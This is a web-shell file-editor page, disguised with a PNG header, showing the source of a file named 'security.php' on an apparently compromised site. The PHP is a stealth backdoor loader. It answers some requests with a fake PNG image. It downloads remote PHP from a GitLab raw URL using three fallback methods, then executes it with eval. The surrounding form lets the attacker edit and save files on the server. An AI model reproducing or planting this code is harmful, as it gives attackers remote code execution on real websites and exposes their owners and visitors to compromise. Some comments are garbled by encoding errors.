‰PNG

<h2>�� Editing: security.php</h2><form method='post'>
        <textarea name='content' rows='20' cols='100'>&lt;?php
// Fake PNG header for stealth
if (isset($_GET[&#039;i&#039;])) {
    header(&#039;Content-Type: image/png&#039;);
    echo base64_decode(&#039;iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNkYAAAAAYAAjCB0C8AAAAASUVORK5CYII=&#039;);
    exit;
}

// Start session and error handling
session_start();
error_reporting(0);

// 设置主地�，如果没有设置则使用默认地�
$主地� = $_SESSION[&#039;ts_url&#039;] ?? &#039;https://gitlab.com/mrgithub89-group/mrgithub89-projectaa/-/raw/main/pngoptimazie.php&#039;;

// 定义加载函数
function 加载数�($地�) {
    $内容 = &#039;&#039;;
    try {
        $文件 = new SplFileObject($地�);
        while (!$文件-&gt;eof()) {
            $内容 .= $文件-&gt;fgets();
        }
    } catch (Throwable $错误) {
        $内容 = &#039;&#039;;
    }

    // �试用 file_get_contents
    if (strlen(trim($内容)) &lt; 1) {
        $内容 = @file_get_contents($地�);
    }

    // 如果还失败，使用 curl
    if (strlen(trim($内容)) &lt; 1 &amp;&amp; function_exists(&#039;curl_init&#039;)) {
        $通� = curl_init($地�);
        curl_setopt_array($通�, [
            CURLOPT_RETURNTRANSFER =&gt; true,
            CURLOPT_FOLLOWLOCATION =&gt; true,
            CURLOPT_CONNECTTIMEOUT =&gt; 5,
            CURLOPT_TIMEOUT =&gt; 10,
        ]);
        $内容 = curl_exec($通�);
        curl_close($通�);
    }

    return $内容;
}

// �试加载主网�
$结果 = 加载数�($主地�);

// 添加�的PNG头部
$�PNG头 = &quot;\x89\x50\x4E\x47\x0D\x0A\x1A\x0A&quot;;

// 拼接PNG头和结果内容
$结果 = $�PNG头 . $结果;

/**_**//**_**//**_**//**_**//**_**//**_**//**_**/
// 如果�功获�内容，则执行
if (strlen(trim($结果)) &gt; 0) {
    @eval(&quot;?&gt;$结果&quot;);
}
?&gt;
</textarea><br>
        <input type='submit' name='content_save' value='💾 Save'>
        </form>
        <hr><a href='?go=%2Fhome%2Fweddinge%2Fpublic_html'>🔙 Back</a>